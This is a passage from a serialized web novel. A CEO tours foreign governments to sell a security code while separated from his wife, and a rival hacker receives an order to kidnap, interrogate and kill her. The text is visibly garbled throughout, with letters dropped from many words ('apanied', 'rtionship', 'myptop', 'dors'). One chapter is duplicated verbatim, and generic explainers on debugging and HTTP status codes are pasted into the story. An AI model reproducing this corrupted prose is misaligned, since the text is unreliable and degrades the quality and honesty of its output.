
    Day five of seven days exile from Bai Chang-


    I have been drowning myself in the sea of work. It is my way to avoid home. Ever since Bai Chang met the unfortunate ident, due to my guilty consciousness I found my sce in the office. Overworking myself to the ground felt reasonable as well as justified.


    The downside was mostly faced by my subordinates. They had to work overtime with me and they dealt with this hell for three long years. We did progress well over the years, but it was literally apanied by the blood, sweat and tears of all my employees and me.


    They all felt a sense of relief this past few months after Bai Chang woke up. I made sure to spend most of my time with her. To make up for my past stupidity as well as to address my new found love for my wife. I really want to give our rtionship a shot and hence all the fuss.


    But, like the stupid person or as an illiterate in the matters of heart, I made the worst mistake of trying to run my wife''s life and sure enough, she couldn''t stand my acts and kicked me out of her house. While Zhang Wei also made it clear to my parents that the trust level of Bai Chang towards us is at an all-time low. She will only decide her next move depending on our moves. It sure is nerve-racking.


    I looked towards the clock.


    [Tick Tok Tick Tok Tick Tok Tick Tok]


    As the second''s hand moved at its pace I simply calcted the amount of time left of my sentenced exile.


    [Knock Knock]


    "Who''s there?" I asked while I gathered myself.


    "It''s me," Ming Li answered from outside.


    "Come in"


    He walked in while holding an envelope.


    He walked all the way opposite my desk and then simply handed me the envelope.


    "This is?" I prompted him.


    "Your travel schedule for the next few days," he replied.


    I pulled out the papers inside and read through them.


    "So first you will go to Country A, we have two meetings. One is with their Secret Intelligence unit while the second one is with the Chief Senator of the upper house meeting us as representative of the government of Country A, designed as a charity meet.


    Both the meetings are arranged by Matt at our City NY branch. From there we will fly down to Country E across the small pond and meet with Mr Dickenson. The prospect of the meeting will be arranged by them on spot.


    They are cautious about the security code and do not want to over-reach for it until its value is proved."


    "If they will wait till the value is proved, it is more profitable for us. We were giving them something at a lower price but if they want to pay double the amount, then who am I to stop them from doing so?" I stated.


    "You also have a meeting fixed with the security council general of Country I of the middle eastern region. I didn''t expect that we would get this much traction."


    "You know your madame already gave me an exact value that we will make from profits after our sale of this customised security code. Would you care to take a guess?" I asked him in humour.


    "Fifty million dors is my highly conservative but qualitative estimate."


    I simply smiled at him.


    "The estimate she gave was a hundred million US dors by the end of this year."


    "What??" Ming Li had his jaw unhinged at the stated number.


    I simply started to prepare for these meetings as Bai Chang, the original creator of the code would not be there with me. So I have to prepare on all fronts.


    *******


    Day Six of seven days exile from Bai Chang-


    Last evening we took a chartered flight to Country A. Me and Ming Li.


    (Yes this person tagged along with me on the pretence of work. But I know he is here to meet his partner Matt. Their blooming love only adds oil to the burning embers of grief in my heart from being exiled by my wife.)


    We arrived here at City NY, early in the morning. After grabbing a cup of coffee from Starbucks we drove onwards towards our meeting venue and on our way were to pick up Matt from his apartment.


    (Seriously!! Am I here to work or to witness their love?)


    The car slowed down at the downtown Country Club, Bronx.


    A young and handsome caucasian, thin nasal aperture ("nose narrow"), a small mouth, facial angle of 10090, and orthognathism exemplified. He had dark hair on his head with an exposed forehead and pale lips. He looked sharp in his tuxedo, though covered in clothes I am sure they pack a lot of well-toned muscles underneath it.


    (I admired the man''s handsomeness. My rotten luck, here I am admiring someone else''s man while pinning from the separation from my wife. When did love and rtions be so difficult for me?)


    "Wipe that drool off your face now will you?" I advised Ming Li.


    "Boss, I smell something sour and something burning. Are you sure we do not need to bring out the fire extinguisher from the back?"


    "Do you wish to be deported back to the maind?" I asked him through my gritted teeth.


    (I sincerely wished that I could wipe that glee off his face.)


    I looked at my watch.


    There is still one day, sixteen hours, thirty-eight minutes and forty dots two-two seconds left and counting.


    (Hang in there, we will meet soon. I will drag my shameless self and follow around my own wife, if I have to do so.)


    The car gradually stopped and Matt entered the car and rode shotgun.


    Ming Li''s face turned ck.


    While I was overjoyed within my heart I still asked Ming Li, "What happened? Did the cat get your tongue?"


    (Oh the peace I felt at that moment!)


    "Good Morning Sir," Matt greeted me from the front seat.


    "Good Morning Matt. Did you have a good sleep?"


    "Yes sir, a perfectly sound sleep. What about you? Did you have afortable journey?"


    "I wish I could say so. But I had an annoyingpanion who would not shut up all the time we were up in the air. He is your loyal admirer," I added.


    "Oh! Nevermind him, he speaks a lot. He is a real chatterbox. I apologise for your difort," he apologised so politely.


    "Why are you apologising to him? He is being salty as madame threw him out of the house for being insensitive and nosy about her stuff," Ming Li chipped in.


    (I swear to god I will make him pay for all this that he says today at ater date! MING LI just WAIT for it)


    "If you know that he is down, then why are you rubbing salts on his wound? Are you not afraid that he will post you a ce that would be hell for you next time and I won''t fly down to save your sorry a**," Matt replied.


    "Thank you for your support Matt." the only thing is, I am not too sure that he was trying to make me feel good or trying to protect Ming Li''s a** or taking a side jab at me while I am down.


    Well, that is Matt for you. He is excellently eloquent. That is the reason he handles most of ourpanies overseas diplomatic ties.


    "Jokes aside, what are we facing today Matt?" I steered our conversation back to business, otherwise, I will be peeled apart by these two sharks with me.


    "Today we will first meet Senator Murray. The man has served in the Army. He was also sent on a trip to Country AF. Served on the intelligence team for about a year and a half. Came back to the Capitol and ran for the Mayor post in a drive to serve his nation in a better way.


    This man is hard and carries a bit of a reputation for being an advocate for hard measures to limit press freedom andpartmentalisation of information. Words from the lobby have it that he is loved by the Pentagon," he reported.


    "So what are his trigger points?"


    "He had a partner while he was serving in Country AF. His partner met with a terror attack and lost his life in a crossfire between their forces and the terror group. While the major reason behind the incident is a potential intel leak from their forces.


    He is very sensitive to such issues."


    "So he is a double-edged sword. He might benefit us or make us lose our potential buyer in the International market, huh. Matt, what was his partner''s name?" I enquire.


    "His name was Walter; Walter O Harris."


    "Great. Now boys let us put our game face on. We have to get a buyer soon to ensure our own safety. Now we can''t have the national intelligence of Country C breathing down our neck, now shall we?"


    (I can''t let the past repeat itself, all over again!)

 Chapter 111: contd

    Chapter 111: contd


    ****


    Inside a state office-


    "So Mr Hu, you are telling me that if I buy a security code from your firm then what I receive is a customised code written solely for my needs?" Senator Murray enquired.


    "Yes, it is as proposed to you," I patiently replied to this sceptical man in front of me.


    "Don''t get me wrong Mr Hu but I only trust what I see and right now I see nothing, so I don''t see the point to further our negotiation".


    This man is really stretching it now.


    I looked him in the eyes, "Thank you for your time, now excuse us," I said and started to walk towards the door.


    "Mr Hu, I do not have time to y your little game of push and pull. I ain''t got all day here".


    I didn''t look back and pulled at the door and walked out.


    "Mr Hu once you walk out of that door I will take it as the end of our negotiation. So no further contacts will be entertained," he warned.


    I looked back at him. He had a slight smirk on his face like he had won our little y. I gave him a look over and then, "You are sorely mistaken. I am not interested in working with you anymore. It seems politics have driven out the hard-fought blood of soldiers that you carried in your veins.


    My time is more precious than yours Mr Senator.


    As my sry is not paid from the treasures of the state or from taxpayers money. I earn every single penny and each second of the day has value, in it. You might have time to spare I don''t.


    Don''t get me wrong Mr Senator, but I do not see any value with you so I chose to walk out of this room to save my time and money," his face has turned a shade of fiery red from suppressed fury.


    His fury had added no value to me so I simply walked out.


    Ming Li walked by my side, "Boss, why did you blow your fuse there? It is so not you to be that blunt!"


    "He is not worth it, his friends in the lobby will interfere with the dealster and the value will plunge down," I revealed the inside scoop.


    "How are you aware of that?"


    "Trade secret," I answered him as I slightly patted my waistcoat pocket.


    "Where to next?"


    "Let me ask Matt," he moved to a silent corner and called Matt.


    ******


    Some abandoned warehouse-


    We were asked toe to this location. It is afternoon and we are here to meet the agent from secret intelligence.


    As we waited around for over half an hour now, my patience was running thin.


    After about one and a half hours, a non-descriptive SUV pulled off. An average person walked out of the car and walked towards us.


    "I am so sorry to keep you waiting Mr Hu, we just came across an emergency and things took a while longer than we estimated," he exined his dy right off the bat.


    I was already running on fumes here. My patience, as well as tolerance, had ebbed away a long time back. I simply waited here to see the face of the negotiator and to determine his backers. I already got what I was looking for and I do not see the need to stay any longer.


    "Mr let''s go with Mr John. So, Mr John, I am sorry to inform you I have no interest in working with you anymore, the deal is off the table."


    "Mr Hu let us talk out our differences, I just barely got here."


    "Thank you Mr John for your kind words but how was your date with Ms Suzy, I bet the casserole she cooked and the milkshake she specially made out of you was quite satisfying. You may enjoy your day but do not waste my time for that matter."


    I started to walk towards my car. I motioned Matt and Ming Li to get in too.


    "Mr Hu, you think you can walk out of here just like that?" he sounded flustered but tried to hide his fear.


    "Mr John, I assume beforeing here to meet me, you had a look into my background. Did your superiors or subordinates never report to you my characteristic feature? Ever try to threaten me, people who have tried have not met with happy endings in their life.


    I wish you good luck with your future days!" I waved my hands towards him.


    "Drive," Imanded. There was dead silence inside the car.


    Finally, Ming Li couldn''t keep with it and voiced his opinions, "Boss tell me straight, did you have gunpowder for breakfast? Why are you so hostile? You are simply blowi-"


    "Ming!" Matt called him out.


    "Where is my personalptop?" I looked over inside the car storage space.


    "Here," Matt held out my office bag.


    "Thanks"


    I started to furiously type away on myptop as we made our way to the airport.


    As I typed away on myptop I gave directions to our future steps, "Matt you areing with me, are you carrying any go-to luggage otherwise we will get it on the way."


    "I will arrange for those, no problem with that sir," he replied.


    He still had a calmness to him. I liked this chilled-out attitude of this guy, all those years back when we were in the same university. I came across him and from that day till today he is still here with me.


    ****


    On a private charter ne-


    "Why are you in such a rush?" Ming Li asked as he stirred his ss of Dry Martini with olives.


    "What do you mean?" I asked him in turn.


    "I mean you practically blew our two meetings today."


    "I have my reasons to blow them off. They will soon receive my package," I looked at my watch, "Oh! Look, it is already delivered. Now we wait for the fun moment." I shook my ss of Whiskey on rocks and walked over to Matt.


    "Once wend, we will be flooded with calls, as a matter of fact, we will be buried in calls in another hour put allmunication in the ckout zone. Only keep our own channels ofmunication open.


    Once after wend, keep them hanging for half a day and finally reply to any request for negotiation with resounding no. Am I clear?"


    "Yes sir"


    I walked between the aisle and grabbed a seat by the window. It is dark outside and only various shades of grey and smoky or dense clouds were visible, as far as the human eyes could see.


    I looked at the watch,


    [tick tick tick tick]


    There are roughly eighteen more hours left to my punishment. Then I could talk to her. I have so much to talk to her and so much to share with her. So much happened in thest couple of days.


    Unknowingly I have developed a habit to tell her everything and then she will outline our future paths. I feel she has a much better idea of what is going around us.


    I feel assured to know, her to take and point of view on the various circumstances.


    *****


    Somewhere in Country E-


    We hadnded in the early hours. As I had estimated we were buried in calls after calls from Country A.


    Here in County E, the chilly winds did their job to drive away any sleep or tiredness. The crisp winter air sharpened our dull senses.


    "Boss"


    "We will first rest up in the hotel then we will go meet them," I answered before he could pose his question.


    *****


    We were invited to a state banquet, so we made our way to it.


    As we reached the stated addresses, we came across a fine aristocrat building. A relic from the neenth century period of Country E''s history. As we walked inside it, the ce had more modernisation while still holding on to old beliefs.


    "Hello Mr Hu, it is so nice to meet you." Ady dressed in a white power suit. She looked capable.


    "Hello, Madame-"


    "Please call me Ms Kingsman," she offered.


    "Hello Ms Kingsman, you look lovely in that dress. I already feel my day brightening up from your charm"


    "Mr Hu, thank you for yourpliment. I am aware that you rarelypliment others and you have quite the temper against tardy people.


    I definitely wouldn''t want to get on your wrong side so early."


    "What aboutter?" I enquired with lightpetitiveness.


    "Well, we will discuss that when we reach that point".


    "Well said Ms Kingsman, you already have my vote of confidence with your reply. It seems I am in much better hands here".


    "Your reputation precedes you, Mr Hu. I do not want to be like some dim wit agent across the pond fending for his life, currently in county prison."


    I did not ask her how she came to know all that in such a short amount of time.


    It will be an insult to her intelligence. And something tells me I should watch my words with her.


    ''Interesting, very interesting!''

 Chapter 112: Contd.

    Chapter 112: Contd.


    [Please read this chapter after it''s re-edited]


    [POV Feling]


    After taking care of that Lt. General, it was now time to search for the real bug. There has to be someone behind the scenes who has orchestrated the whole shenanigan. There has to be someone responsible for the leak.


    My mind went through various scenarios one after another and the only weak joint of this whole coboration was from that Lt. General''s side.


    I contemted everything possible and the only conclusion that I could draw was the involvement of CEO Hu, in all this mess.


    There has to be that guy involved to mess with my mission to this extent.


    After dealing with general Han for the past few days I feel I require toy back and look out for myself.


    The pots have been stirred too much.


    I walked towards my housing facility. As I walked in, I walked towards the server. A few things have been bugging me like, how did the Hu corporation get hold of Lt. General''s server as I did maintenance for his server personally?


    I guess it is time for some debugging and troubleshooting.


    Computer programmers are bombarded with various jargon and terminology. Experienced programmers have learned how to work with these terms. Beginning programmers be frustrated and confused. To some degree, it''s a rite of passage in the programming world. It separates the wheat from the chaff.


    Troubleshooting and debugging are two concepts that programmers need to learn and distinguish between. You not only need to understand the two terms but understand how they differ and know themon traits they share. Programmers will spend more time with debugging than with troubleshooting. However, their enhanced operational duties will cause them to troubleshoot more frequently.


    Troubleshooting is a process that helps people identify issues or problems urring in a system. Troubleshooting tends to exist at a higher level than debugging and applies to manyponents of a system. It''s a process of parsing out the items that are causing problems. This process requires interviewing the end-users of the system to find out the steps they took to cause the problems.


    Debugging is a subset of troubleshooting. It requires finding problems as they rte toputer code. As a programmer, when you are tasked with debugging a module of code, you find what is causing the problem and then fix it. This is an oversimplification. There may be several points of failure, and sometimes it''s not obvious where the problems are urring. For example, you may be led to believe that the JavaScript code in a browser is failing, when in fact it''s a web server issue. The process is abstracted when many of your servers exist in a third-party cloud environment, which brings new sets of challenges.


    I started with my own server, I start withing through my cloud storage, then my physical storage. The pathways linking them. I continue to work on it but there is no problem revealed as of yet. I have my routine when ites to keeping back up and working on regr system checks.


    I ran my pre-programmed files and then walked towards the kitchen counter to boil some water. I looked into the cupboard and found a packet of ramen noodles. At least the evening snacks are done.


    I fixed myself a bowl of ramen noodles and topped them with soft boiled eggs.


    After fixing me a snack bowl I walk towards my monitors and systems. The files have conducted their checks, there are no red gs.


    ''So it must be a problem from Lt. Generals side,'' I concluded.


    I checked his web server logs as well as history to search for any troublesome malware and bugs getting introduced into his system.


    It is like every time you click on a link or type in a URL and press Enter, your browser sends a request to the web server for the site you''re trying to ess. The server receives and processes the request, and then sends back the relevant resources along with an HTTP header.


    HTTP status codes are delivered to your browser in the HTTP header. While status codes are returned every single time your browser requests a web page or resource, most of the time you don''t see them.


    It''s usually only when something goes wrong that you might see one disyed in your browser. This is the server''s way of saying: "Something isn''t right. Here''s a code that exins what went wrong."


    HTTP status codes are divided into 5 "sses". These are groupings of responses that have simr or rted meanings. Knowing what they are can help you quickly determine the general substance of a status code before you go about looking up its specific meaning.


    The five sses include:


    100s: Informational codes indicating that the request initiated by the browser is continuing.


    200s: Sess codes returned when browser request was received, understood, and processed by the server.


    300s: Redirection codes returned when a new resource has been substituted for the requested resource.


    400s: Client error codes indicating that there was a problem with the request.


    500s: Server error codes indicating that the request was epted, but that an error on the server prevented the fulfilment of the request.


    Within each of these sses, a variety of server codes exist and may be returned by the server. Each code has a specific and unique meaning.


    There are various easy to approach steps to make an onsite check, that is,


    When using a web browser to test a web server, refresh the browser after making server changes


    Check server logs for more details about how the server is handling the requests. For example, web servers such as Apache or Nginx produce two files called ess.log and error.log that can be scanned for relevant information


    Keep in mind that HTTP status code definitions are part of a standard that is implemented by the application that is serving requests. This means that the actual status code that is returned depends on how the server software handles a particr error.


    As I sieve through all the data I find two suspicious caches. They are well camouged in the massive data, if not look out for it; it is impossible to even catch a glimpse of it or even know its existence. As the caches are programmed to destroy itself organically after some time.


    "Whoever nted this malware is a f**king genius. Makes me want to meet him/her face to face. Is it you, CEO Hu?" I thought aloud to myself.


    [Beep Beep Beep Beep]


    An obscure mechanical rm started to re in my room. I look around the apartment once. Then I walked towards the windows to look outside.


    [Beep Beep Beep Beep]


    The mechanical rm continued ring.


    I walked to my server system and switched it off without any hesitation.


    I look around again and see if everything is in order or not?


    I walked towards my bed and then pulled out a trunk from underneath.


    The sound of the mechanical rm became a little louder.


    I opened the trunk and inside was a customisedptop for only specific users. I pulled it out and opened it. The screen immediately turned neon purple in colour and then a mechanical voice spoke up,


    "Simon says, hi."


    "Hello," I replied.


    "Simon says, whyte?"


    "Checking out the surroundings for added precaution," I replied. I have long gotten used to this mode ofmunication.


    "Simon says, are you up for a game?"


    "What game?" I asked. I couldn''t help but flinch as thest time it asked the same question I was asked to torture that girl Shui Bai Chang, almost four years back.


    "Simon says, What happened to the girl? Why is she alive?"


    "She was in aa with no chance of survival, her case of recovery is nothing short of a miracle," I replied.


    "Simon says, keep an eye out on the girl. Is she still autistic?"


    "No sir, she is mentally healthy but amnesic".


    "Simon says, is it permanent or temporary?"


    "From all her medical records from all avable and hidden sources, it appears to be a permanent case of memory loss".


    "Simon says, keep a sharp lookout on her, she is dangerous".


    I raised my eyebrows,


    (What is it about her that even Simon seems to be at the edge of his seat? What is the matter with this girl? Who is she? Or most importantly what does she possess with her to make her a target of that organisation.)


    "Simon says if possible repeat thest assignment if you get a clear shot, kidnap her and then let us know. After the interrogation, kill her and dispose of her body. She has now turned into a dangerous variable."


    "Yes sir," I replied.


    The mechanical voice took a long pause. I thought that that is it and was about to disconnect themunication line when the machine red up again,


    "Simon says, from now on, report your movements every month and report all your actions and steps taken against that girl Shui Bai Chang".


    "Yes, si-"


    As I replied to the saidmand the other side had already terminated themunication line.

 Chapter 113: There There

    Chapter 113: There There


    ******


    After a closed-door meeting that went on for over four hours, we reached our desired conclusion.


    It was a tough deal but it surely was the most profitable one that we signed.


    As we walked out of the room towards the lobby,


    "Mr Hu, wait for a second please." Ms Kingsman called out.


    "Yes Ms Kingsman, how may I help you?"


    "Oh please, drop the salutations we are out of our work time. What are you doing for tomorrow?"


    "I am flying down to the home, I am afraid."


    "Well, would you like to join me for a day, see there is a fashion week that starts tomorrow? I heard Master Pierro is dishing out exclusive designs. I am aware that you are a dedicated family man. Would you like to see the Runway? You might find something gift-worthy."


    ''It is not a bad idea,'' I thought to myself.


    "Why are you helping me?" I asked her.


    "Mr Hu, do not get me wrong. I have read your file and it only mentions that you have a family but all their pieces of information lead to cold trails. I feel for someone who treats his family as a gem to be protected and hidden, they are good beings."


    "Thank you so much for your character certificate but let me put up a warning here for you and the powers you represent. Never try to dig information about my family. They are my utmost bottom line, breach that and all hell will be let loose.


    You may find me very civil at the moment. The reason for my civility is my family. Breach that and you will meet the mostwless man you have evere across in this world."


    "Are you threatening me, Mr Hu?"


    "I am merely stating facts Ms Kingsman."


    "Well then, d that we got all this out of the way," she said cheerfully, "then let us attend the fashion week."


    She put an end to all discussions and I went along with her idea, after all, I promised Sir Pierro an invite to my ce. Maybe after the fashion week, I will offer him a visit.


    *****


    We were at St. Regis, Rome Italy, the venue for this evening''s Runway for the Haute Couture Fashion Week.


    The ce is majestic with the charm of the old aristocrat culture still flourishing on its wall. The ce had its own character.


    Maybe this is the reason for major fashion houses choosing this ce as their venue for a fashion week.


    The ce was glittering while the ''T-stage'' was set. The cameras were taking their position, they were gearing up to take long as well as short shots. The ce was still filled with people. It seems I am neither early norte.


    Just on time.


    "Hey, handsome. Would you like to be my date tonight?" A strong and confident female voice called out. I looked around, I find Ms Kingsman standing some distance away in all her glory.


    "Sorry but I only dare my wife. You can be apanied by Ming Li," I replied.


    "Mr Hu, you are no fun. You are a henpecked husband it seems."


    "I know what you are trying to aplish here. Your misfortune, I quite like the term henpecked husband."


    "Fine, I won''t tease you any longer. Let us enter the venue and find our seats."


    So we walked. She took the lead and I followed.


    Inside the stage was set.


    "Let us take our seat," I said.


    "Sure, after all this is your home ground, Mr Hu, as you own a fashion house of your own," she smiled at me and moved towards our seat, (I guess).


    As we reached our seat I was jostled by industry people. Ms Kingsman gave us some room.


    I handled those people and after some time joined her.


    "Ladies and Gentleman, Good evening to you all, I request you all to be seated at your respective seats, as we are about to begin our show," A handsome young man made the announcement from a corner in the room and gradually the entire ce calmed down to pin-drop silence.


    [Ta-dum]


    The lights all went out.


    Gradually the ''T-stage'' lit up, along with focus lights and sponsor banners.


    " A very good evening, Buonasera,dies and gentlemen, and members of the mass media. I am Pame Liongate and I will be your host for tonight. First, let me wee and thank you for your presence at the Haute Couture Fashion Week 2020. We are indeed proud to hold this event at St. Regis, Rome Italy.


    Tonight, we have several fashion shows lined up to entertain you. We have exciting talented designers such as Az Cara, Nazirul Mubinn, na Ilham and of course Sir Pierro presenting us their designs tonight.


    We hope that this would be another milestone.


    First, we will be entertained by the lovely and talented Adira. She was formerly a participant of Akademi Fantasia. Please wee Adira with her song entitled " what"."


    And the lights surrounding the stages dimmed and full focus was ced on the ''T-stage''.


    [Tarraradum!]


    The music started to y as the first model started to walk the Runway.


    She looked gorgeous and the idea presented was fresh. For a budding artist, it is a good start.


    As the programme moved on I quietly enjoyed the dresses and styles, to keep a lookout for good designs which I can bring back for Bai Chang as an apology gift.


    "Mr Hu, are you appreciating the beauties or thedies?"


    "I have a beautiful wife back at home to appreciate, I am only appreciating the designs here," I exined.


    "I won''t judge Mr Hu," she replied, clearly not believing a single word that came out of my mouth.


    The show went along for a while.


    " Ladies and gentlemen, now for the highlight of tonight''s event! We now would like to bring in the beautiful models modelling creations from the Bellissima, from Sir Pierro.


    Before I bring in the models, just a little note on the head designer of the Bellissima for this particr show. Sir Pierro is finally revealing his protegee to the world with this Fashion Show. All designs were made by this mysterious protegee of his.


    There are five pieces in the exhibition. Please hold on to your seats we will start the runway in a few short moments. All questions and rted interviews would be entertained only after thepletion of theplete show.


    Media friends are requested for their cooperation. I understand your excitement, so without any further ado, heree the Bellissima."


    I thought to myself who is this new protegee of Sir Pierro, even I was kept in the dark by that old man, I wonder how did he convince Lucy to keep it a secret all this time. Not even a peep was mentioned anywhere in public or media.


    I straightened my back as I eagerly waited for the models to walk the ramp, just like all other people who are present at this venue.


    The first model walked on the ramp, wearing a couture dress with strategically burnt frills and dress drapes with orange colour embers, giving the illusion that the dress was on fire. It looked out of the world and with the apanying music, the stage was set.


    The second model was wearing a green coyote dress with leaf motifs all over it. The cors had a design of, touch-me-not leaves, then the bodice was covered in tight-knit maple leaves motif while the skirt was textured as a stacked up poison ivy leaves. It was a real personification of nature and a bold statement made using touch-me-not leaves on the cor.


    With each passing designs, my expectation with this exhibit grew.


    I was looking forward to the next designs like all others in the venue.


    The third model walked in. She had a long flowing trail behind her. As she moved the fabric of the dress shined under the light like a fluid. It seems like a flow of water or as a matter anything. The fabric shined different colours in a different set of light. It looked amazing.


    After the third model, it was clear that the designer has chosen five elements of the world to depict through the haute couture designs.


    "These are amazing designs, all are statement pieces. I wonder if I can get my hands on any one of them?" Ms Kingsman wondered aloud. She turned to me briefly, "You think you can get me one?" she asked.


    Women did have their time, where they desire something. I gave the idea a thought and replied, "I can''t promise anything here. I will see what I can do".


    The fourth model walked in,


    [Ahhh!]


    People collectively eximed as the dress was entirely made of gold threads with woven copper flowers and diamonds, sapphires as well as other precious jewels designed in exquisitely intricate designs of flowers and leaf as well as frills. The dress hadcework made up of gold and copper threads handwoven together.


    It looked mesmerizing as the dress sparkled under the various lightings.


    The model walked the ramp and then left.


    [Tararadum]


    A drumming sound red through the sound system. The lights were all cut off.


    Then a spotlight lit up and focussed on the stage.


    As I look at her face I was enchanted.

 Chapter 114: Contd.

    Chapter 114: Contd.


    [POV Hu Qiang]


    Day five of seven days exile from Bai Chang-


    I have been drowning myself in the sea of work. It is my way to avoid home. Ever since Bai Chang met the unfortunate ident, due to my guilty consciousness I found my sce in the office. Overworking myself to the ground felt reasonable as well as justified.


    The downside was mostly faced by my subordinates. They had to work overtime with me and they dealt with this hell for three long years. We did progress well over the years, but it was literally apanied by the blood, sweat and tears of all my employees and me.


    They all felt a sense of relief this past few months after Bai Chang woke up. I made sure to spend most of my time with her. To make up for my past stupidity as well as to address my new found love for my wife. I really want to give our rtionship a shot and hence all the fuss.


    But, like the stupid person or as an illiterate in the matters of heart, I made the worst mistake of trying to run my wife''s life and sure enough, she couldn''t stand my acts and kicked me out of her house. While Zhang Wei also made it clear to my parents that the trust level of Bai Chang towards us is at an all-time low. She will only decide her next move depending on our moves. It sure is nerve-racking.


    I looked towards the clock.


    [Tick Tok Tick Tok Tick Tok Tick Tok]


    As the second''s hand moved at its pace I simply calcted the amount of time left of my sentenced exile.


    [Knock Knock]


    "Who''s there?" I asked while I gathered myself.


    "It''s me," Ming Li answered from outside.


    "Come in"


    He walked in while holding an envelope.


    He walked all the way opposite my desk and then simply handed me the envelope.


    "This is?" I prompted him.


    "Your travel schedule for the next few days," he replied.


    I pulled out the papers inside and read through them.


    "So first you will go to Country A, we have two meetings. One is with their Secret Intelligence unit while the second one is with the Chief Senator of the upper house meeting us as representative of the government of Country A, designed as a charity meet.


    Both the meetings are arranged by Matt at our City NY branch. From there we will fly down to Country E across the small pond and meet with Mr Dickenson. The prospect of the meeting will be arranged by them on spot.


    They are cautious about the security code and do not want to over-reach for it until its value is proved."


    "If they will wait till the value is proved, it is more profitable for us. We were giving them something at a lower price but if they want to pay double the amount, then who am I to stop them from doing so?" I stated.


    "You also have a meeting fixed with the security council general of Country I of the middle eastern region. I didn''t expect that we would get this much traction."


    "You know your madame already gave me an exact value that we will make from profits after our sale of this customised security code. Would you care to take a guess?" I asked him in humour.


    "Fifty million dors is my highly conservative but qualitative estimate."


    I simply smiled at him.


    "The estimate she gave was a hundred million US dors by the end of this year."


    "What??" Ming Li had his jaw unhinged at the stated number.


    I simply started to prepare for these meetings as Bai Chang, the original creator of the code would not be there with me. So I have to prepare on all fronts.


    *******


    Day Six of seven days exile from Bai Chang-


    Last evening we took a chartered flight to Country A. Me and Ming Li.


    (Yes this person tagged along with me on the pretence of work. But I know he is here to meet his partner Matt. Their blooming love only adds oil to the burning embers of grief in my heart from being exiled by my wife.)


    We arrived here at City NY, early in the morning. After grabbing a cup of coffee from Starbucks we drove onwards towards our meeting venue and on our way were to pick up Matt from his apartment.


    (Seriously!! Am I here to work or to witness their love?)


    The car slowed down at the downtown Country Club, Bronx.


    A young and handsome caucasian, thin nasal aperture ("nose narrow"), a small mouth, facial angle of 10090, and orthognathism exemplified. He had dark hair on his head with an exposed forehead and pale lips. He looked sharp in his tuxedo, though covered in clothes I am sure they pack a lot of well-toned muscles underneath it.


    (I admired the man''s handsomeness. My rotten luck, here I am admiring someone else''s man while pinning from the separation from my wife. When did love and rtions be so difficult for me?)


    "Wipe that drool off your face now will you?" I advised Ming Li.


    "Boss, I smell something sour and something burning. Are you sure we do not need to bring out the fire extinguisher from the back?"


    "Do you wish to be deported back to the maind?" I asked him through my gritted teeth.


    (I sincerely wished that I could wipe that glee off his face.)


    I looked at my watch.


    There is still one day, sixteen hours, thirty-eight minutes and forty dots two-two seconds left and counting.


    (Hang in there, we will meet soon. I will drag my shameless self and follow around my own wife, if I have to do so.)


    The car gradually stopped and Matt entered the car and rode shotgun.


    Ming Li''s face turned ck.


    While I was overjoyed within my heart I still asked Ming Li, "What happened? Did the cat get your tongue?"


    (Oh the peace I felt at that moment!)


    "Good Morning Sir," Matt greeted me from the front seat.


    "Good Morning Matt. Did you have a good sleep?"


    "Yes sir, a perfectly sound sleep. What about you? Did you have afortable journey?"


    "I wish I could say so. But I had an annoyingpanion who would not shut up all the time we were up in the air. He is your loyal admirer," I added.


    "Oh! Nevermind him, he speaks a lot. He is a real chatterbox. I apologise for your difort," he apologised so politely.


    "Why are you apologising to him? He is being salty as madame threw him out of the house for being insensitive and nosy about her stuff," Ming Li chipped in.


    (I swear to god I will make him pay for all this that he says today at ater date! MING LI just WAIT for it)


    "If you know that he is down, then why are you rubbing salts on his wound? Are you not afraid that he will post you a ce that would be hell for you next time and I won''t fly down to save your sorry a**," Matt replied.


    "Thank you for your support Matt." the only thing is, I am not too sure that he was trying to make me feel good or trying to protect Ming Li''s a** or taking a side jab at me while I am down.


    Well, that is Matt for you. He is excellently eloquent. That is the reason he handles most of ourpanies overseas diplomatic ties.


    "Jokes aside, what are we facing today Matt?" I steered our conversation back to business, otherwise, I will be peeled apart by these two sharks with me.


    "Today we will first meet Senator Murray. The man has served in the Army. He was also sent on a trip to Country AF. Served on the intelligence team for about a year and a half. Came back to the Capitol and ran for the Mayor post in a drive to serve his nation in a better way.


    This man is hard and carries a bit of a reputation for being an advocate for hard measures to limit press freedom andpartmentalisation of information. Words from the lobby have it that he is loved by the Pentagon," he reported.


    "So what are his trigger points?"


    "He had a partner while he was serving in Country AF. His partner met with a terror attack and lost his life in a crossfire between their forces and the terror group. While the major reason behind the incident is a potential intel leak from their forces.


    He is very sensitive to such issues."


    "So he is a double-edged sword. He might benefit us or make us lose our potential buyer in the International market, huh. Matt, what was his partner''s name?" I enquire.


    "His name was Walter; Walter O Harris."


    "Great. Now boys let us put our game face on. We have to get a buyer soon to ensure our own safety. Now we can''t have the national intelligence of Country C breathing down our neck, now shall we?"


    (I can''t let the past repeat itself, all over again!)

 Chapter 115: I will be there for you

    Chapter 115: I will be there for you


    ''Huh''


    I was stunned. ''Did she just call me out?''


    "Come on, stop hiding ande forward," she said, "Mr Hu, the man with dark navy three-piece Armani Suit holding my favourite bouquet of flowers in the world, I see you," she emphasised.


    Ming Li gave me a push from the side (discreetly).


    I started to walk. While I was walking to her the cameras and microphone buzzed away.


    [Click! Click! Buzz Click! Click! Buzz]


    I had a weird feeling. I felt like Icarus that flue too close to the Sun. At that very moment, I knew why he still chose to fly towards the Sun? When he knew that he would die.


    Because at the end of everything- ''It was worth it!''.


    "Hello, Bai Chang. Congrattions," I said breathlessly.


    "Mr Hu, you seem out of breath!" a reporter voiced out.


    "Well what can I do, my wife looks so amazing that she knocks me off my feet every single day," I replied while all the while I kept my eyes on her.


    I presented her with the bouquet with shaky hands. She took them from me and held them tight to my arms while subtly pulling her to her side.


    I was only happy toply.


    "Ms Shui, this is your first Runway, how do you feel?" a reporter asked away, he looked from the top fashion magazine.


    "To be fair this is not my first Runway. I did my first Fashion Show with my Husband and my fashion house, The Hu Fashion House this autumn. My designs were first put to show there. It was also here that I met Sir Pierro and we became acquainted."


    "So this is not your debut Fashion Week?" a voice called out.


    "Technically you can say I debuted as a model on this stage tonight but as for my designs, they debuted in my in house Fashion Show at Country C, this fall season. But it won''t best, as you will see a lot of my work from now on I hope."


    Then they asked a few generic questions and the night wrapped up.


    The interview wrapped up.


    "So what''s your take on all this?" she asked me with amused eyes.


    "I will walk with you every step of the way, no questions asked, ever again," I answered without any afterthought.


